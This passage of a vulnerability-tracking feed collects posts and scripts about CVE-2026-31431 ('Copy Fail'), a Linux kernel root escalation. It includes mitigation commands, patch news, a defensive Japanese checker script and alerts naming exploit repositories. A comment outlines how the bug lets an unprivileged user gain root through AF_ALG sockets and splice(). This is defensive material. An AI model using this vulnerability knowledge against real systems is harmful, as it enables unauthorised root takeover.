\u0440\u0435\u0433\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u043b \u0434\u043e\u0441\u0442\u0443\u043f \u0432\u0441\u0435\u043c \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u043a \u043e\u0434\u043d\u043e\u0439 \u0442\u0430\u0447\u043a\u0435 \u0441 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 \u0443\u0447\u0435\u0442\u043a\u0430\u043c\u0438 \u0444\u043e\u0440\u043c\u0430\u0442\u0430 user12345. \u041d\u0443 \u0438 \u043a\u0442\u043e-\u0442\u043e \u0438\u0437 \u0442\u0430\u043a\u0438\u0445 \u044e\u0437\u0435\u0440\u043e\u0432 \u0434\u043e\u0433\u0430\u0434\u0430\u043b\u0441\u044f \u043f\u043e\u0434\u043d\u044f\u0442\u044c\u0441\u044f \u0434\u043e \u0420\u0443\u0442\u0430 :)\n\n\u0422\u0430\u043a \u0447\u0442\u043e \u0431\u0443\u0434\u044c\u0442\u0435 \u0431\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u044b \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u0441\u0432\u043e\u0438 \u0442\u0430\u0447\u043a\u0438! \u0414\u043b\u044f \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u0444\u0438\u043a\u0441\u0430 \u043d\u0443\u0436\u043d\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0430\u0432\u0442\u043e\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u043c\u043e\u0434\u0443\u043b\u044f algif_aead:\n\nsudo tee -a /etc/modprobe.d/blacklist-algif_aead.conf <<\u2019EOF\u2019\n# CVE-2026-31431\nblacklist algif_aead\ninstall algif_aead /bin/false\nEOF\nsudo sh -c \"lsmod | grep algif_aead -q && modprobe -r algif_aead || reboot\"\n\n\ud83d\udcab @pentestnotes", "creation_timestamp": "2026-08-04T13:00:17.316525Z"}, {"uuid": "ea7ffd8e-4d8a-4006-8acb-aafaccf6fdf5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/minyagiri.net/post/3mlkvgvbybkaw", "content": "\u3053\u308c\u306b\u95a2\u3059\u308b\u4fee\u6b63\u306f\u3069\u3046\u306a\u3063\u305f\u3093\u3060\u308d\u3046\u3068\u601d\u3063\u305f\u3089\u3001Debian 13 Trixier \u306f Kernel 6.12.86-1 \u3067\u4fee\u6b63\u6e08\u307f\u3060\u3063\u305f\u3002\n\u6d41\u77f3\u306b\u901f\u3044\u306a\u266a\n\nCVE-2026-31431\nhttps://security-tracker.debian.org/tracker/CVE-2026-31431", "creation_timestamp": "2026-05-11T08:51:21.554729Z"}, {"uuid": "fe3e5206-2ee9-43a0-97de-a50e0fa5e2c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/r-netsec-bot.bsky.social/post/3mlkvt3hwky2x", "content": "Copy Fail (CVE-2026-31431): A Technical Deep Dive", "creation_timestamp": "2026-05-11T08:58:10.848183Z"}, {"uuid": "4e7bc994-286b-497b-b46f-22708aef2621", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/83783", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a vcheck\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a krisiasty\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Go\n\u2b50 Star\u6570\u91cf\uff1a 2  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-11 09:35:59\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nVulnerability detection and mitigation tool for Copy Fail and Dirty Frag bugs (CVE-2026-31431, CVE-2026-43284, CVE-2026-43500)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-11T10:00:04.000000Z"}, {"uuid": "646a3ffd-6f41-4b46-8170-be27e4c0bcd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/anupyadav.bsky.social/post/3mll56y4dqk2u", "content": "Parrot OS 7.2 is out! \ud83e\udd9c Critical Copy Fail patch (CVE-2026-31431), Linux 6.19.13, 15 updated tools & a new Hack The Box Edition. If you're a pentester \u2014 update now.\n techrefreshing.com/whats-new-in...\n#ParrotOS #Linux #CyberSecurity #EthicalHacking #Infosec", "creation_timestamp": "2026-05-11T11:10:15.448208Z"}, {"uuid": "f0b9b8c0-323d-4f8a-8a59-8fdcf1da7d8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/83790", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a linux-copy-fail-CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a adilkurtulmus\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-11 10:51:16\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-11T11:00:04.000000Z"}, {"uuid": "a84f15b9-d5fc-40e5-a2d0-f1fb64b13a33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/9XqhTISUbDUPo_c26c1BEinqDeNjvDc1gYqinuT1sIOuN_4", "content": "", "creation_timestamp": "2026-05-11T09:00:05.000000Z"}, {"uuid": "da71782e-2792-42ba-8644-8587e4cda304", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/mGI2CRHqQCjyvA6ju1XF5IWDLp0GZA5_xrkAMw9kytXRmaE", "content": "", "creation_timestamp": "2026-05-11T03:00:06.000000Z"}, {"uuid": "7af600a8-9b41-454a-ab92-03d1ef2ec4fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/AI07jPDl7IHRtOitWV_PZ0T-XIh1na8tiD4BR5Qz19J-y9I", "content": "", "creation_timestamp": "2026-05-10T03:00:05.000000Z"}, {"uuid": "612d86de-2d16-4b6d-bb4f-93affa576992", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/HPf4rnJhTXs3qYpqLaPVxvSy_pHWUyjw5EcKhHnizBFydaU", "content": "", "creation_timestamp": "2026-05-10T09:00:05.000000Z"}, {"uuid": "1754b660-bf10-4f69-90ec-ae118f967753", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/2GOBEcnqip1k_nIIvIE3w-bxwIdIiVvDIafo-Jg_nC3bf9M", "content": "", "creation_timestamp": "2026-05-09T21:00:04.000000Z"}, {"uuid": "d2f6c4de-e8c3-469e-95d4-65da64550be8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/Yr-1pp_OQlsAxCk9olefEOIlRJklCfDEolOYJn0mNy08hY4", "content": "", "creation_timestamp": "2026-05-09T09:00:04.000000Z"}, {"uuid": "a886e7ba-6f6e-4eb8-b6d6-c51d5ad6704f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/r-netsec.bsky.social/post/3mlldulp66i2v", "content": "Copy Fail (CVE-2026-31431): A Technical Deep Dive", "creation_timestamp": "2026-05-11T13:09:33.273758Z"}, {"uuid": "b4a50634-fe68-405e-a54e-872ca6e2e382", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/corti.com/post/3mllff67ukb25", "content": "I just wrote about CopyFail (CVE-2026-31431): Why a Tiny Linux Kernel Bug Became a Massive Infrastructure Threat corti.com/copyfail-cve...", "creation_timestamp": "2026-05-11T13:36:43.665939Z"}, {"uuid": "3a735d32-12fb-4823-8771-db5ddcbb731e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sascha.corti.com.ap.brid.gy/post/3mllfdyfzfoa2", "content": "A newly disclosed Linux kernel vulnerability dubbed CopyFail (CVE-2026-31431) has quickly become one of the most serious Linux privilege escalation flaws in recent years. The bug allows an unprivileged local user to gain full root access on a vast number of Linux systems released since 2017 \u2014 [\u2026]", "creation_timestamp": "2026-05-11T13:37:31.971211Z"}, {"uuid": "c224fb43-cf6b-4c3b-9977-af64b3dd9874", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/flatcar.org/post/3mllmpud73c2k", "content": "Flatcar is unaffected by Copy Fail (CVE-2026-31431)! \n\nThe kernel option causing it was never enabled, because Flatcar is minimal by design and only ships what containers need\n\nSometimes the best mitigation is to reduce the attack surface by not shipping vulnerable components \ud83d\udd12", "creation_timestamp": "2026-05-11T15:48:25.195953Z"}, {"uuid": "01fa30cf-a889-4484-b979-fc5f5f15b851", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/almalinux.org/post/3mllp4ry7bu22", "content": "Lavender Lion has landed! AlmaLinux 10.2 Beta is live; already patched for CVE-2026-31431 before you even asked. \n\nNew packages, updated containers, all arches. Get the full release notes and learn how you can help us test: almalinux.org/blog/2026-05...", "creation_timestamp": "2026-05-11T16:31:16.017453Z"}, {"uuid": "2736930c-72d4-492f-a196-f6fb5301cc99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mllqaic7wc2y", "content": "Three Linux kernel flaws (CVE-2026-23004, CVE-2026-23204, CVE-2026-31431) let local users escalate privileges on SUSE systems. Read more- > tinyurl.com/mr3wx5we  #Security", "creation_timestamp": "2026-05-11T16:50:59.785934Z"}, {"uuid": "f0e5dbf5-cbf6-4fb8-9f98-72e290096c01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/83838", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CopyFile_CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a dgrobinson0\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-11 17:58:36\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nExploit for CVE-2026-31431 (Copy Fail)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-11T18:00:04.000000Z"}, {"uuid": "8397357f-c77b-4af6-8413-0ef177266278", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/e8LfDRtTf8nzcOa5URmJo_p6nGHeOtUQSV0vmQsSJYMEaqg", "content": "", "creation_timestamp": "2026-05-11T21:00:05.000000Z"}, {"uuid": "dff065d6-ed12-47f6-b7a2-b25170a6ac4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/Kuri0421/408ce4a31edcb7d83c9bac0f7f81dae4", "content": "#!/usr/bin/env bash\n# =============================================================================\n# CVE-2026-31431 (\"Copy Fail\") \u5bfe\u7b56\u72b6\u6cc1\u30c1\u30a7\u30c3\u30af\u30b9\u30af\u30ea\u30d7\u30c8\n#\n# \u8106\u5f31\u6027\u6982\u8981:\n#   Linux \u30ab\u30fc\u30cd\u30eb\u306e algif_aead \u30e2\u30b8\u30e5\u30fc\u30eb\u306e\u30ed\u30b8\u30c3\u30af\u6b20\u9665\u306b\u3088\u308a\u3001\n#   \u975e\u7279\u6a29\u30e6\u30fc\u30b6\u30fc\u304c AF_ALG \u30bd\u30b1\u30c3\u30c8 + splice() \u3092\u7d44\u307f\u5408\u308f\u305b\u3066\n#   \u30da\u30fc\u30b8\u30ad\u30e3\u30c3\u30b7\u30e5\u4e0a\u306e\u4efb\u610f\u30d5\u30a1\u30a4\u30eb\u306b 4 \u30d0\u30a4\u30c8\u3092\u66f8\u304d\u8fbc\u307f root \u3092\u53d6\u5f97\u53ef\u80fd\u3002\n#\n# \u5f71\u97ff\u7bc4\u56f2:\n#   \u30ab\u30fc\u30cd\u30eb 4.14 \u301c 6.18.21 (6.18.22 \u672a\u6e80)\n#   \u30ab\u30fc\u30cd\u30eb 6.19.x           (6.19.12 \u672a\u6e80)\n#\n# \u4fee\u6b63\u30b3\u30df\u30c3\u30c8: fafe0fa2995a  (2026\u5e744\u6708)\n# CVSS \u30b9\u30b3\u30a2:  7.8 (HIGH)\n# =============================================================================\n\nset -euo pipefail\n\n# \u2500\u2500 \u30ab\u30e9\u30fc\u5b9a\u7fa9 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nRED='\\033[0;31m'; YELLOW='\\033[0;33m'; GREEN='\\033[0;32m'\nCYAN='\\033[0;36m'; BOLD='\\033[1m'; RESET='\\033[0m'\n\ninfo()    { echo -e \"${CYAN}[INFO]${RESET}  $*\"; }\nok()      { echo -e \"${GREEN}[OK]${RESET}    $*\"; }\nwarn()    { echo -e \"${YELLOW}[WARN]${RESET}  $*\"; }\nfail()    { echo -e \"${RED}[VULN]${RESET}  $*\"; }\nsection() { echo -e \"\\n${BOLD}$*${RESET}\"; echo \"$(printf '\u2500%.0s' {1..60})\"; }\n\n# \u2500\u2500 \u30d0\u30fc\u30b8\u30e7\u30f3\u6bd4\u8f03\u30d8\u30eb\u30d1\u30fc \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# usage: ver_ge A B  \u2192 true if A >= B (\u5404\u8981\u7d20\u306f\u6570\u5024)\nver_ge() {\n    local -a a b\n    IFS='.' read -ra a <<< \"$1\"\n    IFS='.' read -ra b <<< \"$2\"\n    local i\n    for i in \"${!b[@]}\"; do\n        local av=${a[$i]:-0} bv=${b[$i]:-0}\n        (( av > bv )) && return 0\n        (( av < bv )) && return 1\n    done\n    return 0  # equal \u2192 true\n}\n\n# \u2500\u2500 \u7d50\u679c\u30d5\u30e9\u30b0 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nVULN_VERSION=0\nAFALG_REACHABLE=0\nAEAD_REACHABLE=0\nOVERALL=0   # 0=safe, 1=vulnerable, 2=needs-attention\n\n# \u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\nsection \"1. \u57fa\u672c\u60c5\u5831\"\n# \u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\nKERNEL_FULL=$(uname -r)\nKERNEL_VER=$(echo \"$KERNEL_FULL\" | grep -oE '^[0-9]+\\.[0-9]+\\.[0-9]+')\nKERNEL_MAJOR=$(echo \"$KERNEL_VER\" | cut -d. -f1)\nKERNEL_MINOR=$(echo \"$KERNEL_VER\" | cut -d. -f2)\nKERNEL_PATCH=$(echo \"$KERNEL_VER\" | cut -d. -f3)\nARCH=$(uname -m)\n\ninfo \"\u30ab\u30fc\u30cd\u30eb\u30d0\u30fc\u30b8\u30e7\u30f3 : ${KERNEL_FULL}\"\ninfo \"\u30a2\u30fc\u30ad\u30c6\u30af\u30c1\u30e3     : ${ARCH}\"\n\n# OS\u60c5\u5831\nif [[ -f /etc/os-release ]]; then\n    . /etc/os-release\n    info \"OS                : ${PRETTY_NAME:-Unknown}\"\nfi\n\n# \u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\nsection \"2. \u30ab\u30fc\u30cd\u30eb\u30d0\u30fc\u30b8\u30e7\u30f3\u30c1\u30a7\u30c3\u30af\"\n# \u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\n# Linux \u4ee5\u5916\u306f\u30b9\u30ad\u30c3\u30d7\nif [[ \"$(uname -s)\" != \"Linux\" ]]; then\n    ok \"Linux \u3067\u306f\u3042\u308a\u307e\u305b\u3093 \u2014 CVE-2026-31431 \u306e\u5bfe\u8c61\u5916\u3067\u3059\u3002\"\n    exit 0\nfi\n\n# \u30ab\u30fc\u30cd\u30eb\u304c 4.14 \u3088\u308a\u53e4\u3044\u5834\u5408\u306f\u30d0\u30b0\u81ea\u4f53\u304c\u672a\u5c0e\u5165\nif ! ver_ge \"$KERNEL_VER\" \"4.14.0\"; then\n    ok \"\u30ab\u30fc\u30cd\u30eb ${KERNEL_VER} \u306f 4.14 \u672a\u6e80 \u2192 \u8106\u5f31\u306a\u30b3\u30fc\u30c9\u304c\u5b58\u5728\u3057\u307e\u305b\u3093 (\u5bfe\u8c61\u5916)\"\n    OVERALL=0\n# 6.20 \u4ee5\u964d\u306f\u4fee\u6b63\u6e08\u307f\nelif ver_ge \"$KERNEL_VER\" \"6.20.0\"; then\n    ok \"\u30ab\u30fc\u30cd\u30eb ${KERNEL_VER} \u306f 6.20 \u4ee5\u964d \u2192 \u4fee\u6b63\u6e08\u307f\u30d0\u30fc\u30b8\u30e7\u30f3\u3067\u3059\"\n    OVERALL=0\n# 6.19.x \u306e\u78ba\u8a8d\nelif [[ \"$KERNEL_MAJOR\" -eq 6 && \"$KERNEL_MINOR\" -eq 19 ]]; then\n    if ver_ge \"$KERNEL_VER\" \"6.19.12\"; then\n        ok \"\u30ab\u30fc\u30cd\u30eb ${KERNEL_VER} \u306f 6.19.12 \u4ee5\u964d \u2192 \u4fee\u6b63\u6e08\u307f\u3067\u3059\"\n        OVERALL=0\n    else\n        fail \"\u30ab\u30fc\u30cd\u30eb ${KERNEL_VER} \u306f 6.19.12 \u672a\u6e80 \u2192 \u8106\u5f31\u306a\u30d0\u30fc\u30b8\u30e7\u30f3\u3067\u3059\uff01\"\n        VULN_VERSION=1; OVERALL=1\n    fi\n# 6.18.x \u306e\u78ba\u8a8d\nelif [[ \"$KERNEL_MAJOR\" -eq 6 && \"$KERNEL_MINOR\" -eq 18 ]]; then\n    if ver_ge \"$KERNEL_VER\" \"6.18.22\"; then\n        ok \"\u30ab\u30fc\u30cd\u30eb ${KERNEL_VER} \u306f 6.18.22 \u4ee5\u964d \u2192 \u4fee\u6b63\u6e08\u307f\u3067\u3059\"\n        OVERALL=0\n    else\n        fail \"\u30ab\u30fc\u30cd\u30eb ${KERNEL_VER} \u306f 6.18.22 \u672a\u6e80 \u2192 \u8106\u5f31\u306a\u30d0\u30fc\u30b8\u30e7\u30f3\u3067\u3059\uff01\"\n        VULN_VERSION=1; OVERALL=1\n    fi\n# 4.14 \u301c 6.17.x \u306f\u3059\u3079\u3066\u8106\u5f31 (\u4fee\u6b63\u306f 6.18.22 / 6.19.12 \u7cfb\u306e\u307f)\nelse\n    fail \"\u30ab\u30fc\u30cd\u30eb ${KERNEL_VER} \u306f\u8106\u5f31\u306a\u7bc4\u56f2 (4.14\u301c6.18.21) \u306b\u8a72\u5f53\u3057\u307e\u3059\uff01\"\n    VULN_VERSION=1; OVERALL=1\nfi\n\n# \u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\nsection \"3. algif_aead \u30e2\u30b8\u30e5\u30fc\u30eb\u72b6\u614b\"\n# \u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\n# \u30ed\u30fc\u30c9\u6e08\u307f\u304b\u3069\u3046\u304b\nif lsmod 2>/dev/null | grep -q '^algif_aead'; then\n    warn \"algif_aead \u30e2\u30b8\u30e5\u30fc\u30eb\u304c\u73fe\u5728\u30ed\u30fc\u30c9\u3055\u308c\u3066\u3044\u307e\u3059\"\n    AFALG_REACHABLE=1\n    [[ \"$OVERALL\" -eq 0 ]] && OVERALL=2\nelse\n    ok \"algif_aead \u30e2\u30b8\u30e5\u30fc\u30eb\u306f\u73fe\u5728\u30ed\u30fc\u30c9\u3055\u308c\u3066\u3044\u307e\u305b\u3093\"\nfi\n\n# \u30e2\u30b8\u30e5\u30fc\u30eb\u30d5\u30a1\u30a4\u30eb\u304c\u5b58\u5728\u3059\u308b\u304b (\u30ed\u30fc\u30c9\u53ef\u80fd\u304b)\nMODULE_PATH=$(find /lib/modules/\"$(uname -r)\" -name 'algif_aead.ko*' 2>/dev/null | head -1)\nif [[ -n \"$MODULE_PATH\" ]]; then\n    info \"\u30e2\u30b8\u30e5\u30fc\u30eb\u30d5\u30a1\u30a4\u30eb\u304c\u5b58\u5728: ${MODULE_PATH}\"\nelse\n    ok \"algif_aead \u30e2\u30b8\u30e5\u30fc\u30eb\u30d5\u30a1\u30a4\u30eb\u304c\u898b\u3064\u304b\u308a\u307e\u305b\u3093 (\u30ab\u30fc\u30cd\u30eb\u306b\u7d44\u307f\u8fbc\u307f or \u524a\u9664\u6e08\u307f)\"\nfi\n\n# \u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\nsection \"4. AF_ALG \u30bd\u30b1\u30c3\u30c8 / AEAD \u30a2\u30eb\u30b4\u30ea\u30ba\u30e0 \u5230\u9054\u6027\u30c6\u30b9\u30c8\"\n# \u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n# PoC \u304c\u5fc5\u8981\u3068\u3059\u308b\u524d\u63d0\u6761\u4ef6\u3092\u300c\u66f8\u304d\u8fbc\u307f\u306a\u3057\u300d\u3067\u78ba\u8a8d\u3059\u308b\u5b89\u5168\u306a\u30c6\u30b9\u30c8\n# (\u5b9f\u969b\u306e\u30b9\u30d7\u30e9\u30a4\u30b9/\u66f8\u304d\u8fbc\u307f\u306f\u884c\u308f\u306a\u3044)\n\nif ! command -v python3 &>/dev/null; then\n    warn \"python3 \u304c\u898b\u3064\u304b\u308a\u307e\u305b\u3093 \u2014 AF_ALG \u5230\u9054\u6027\u30c6\u30b9\u30c8\u3092\u30b9\u30ad\u30c3\u30d7\u3057\u307e\u3059\"\nelse\n    info \"AF_ALG / AEAD 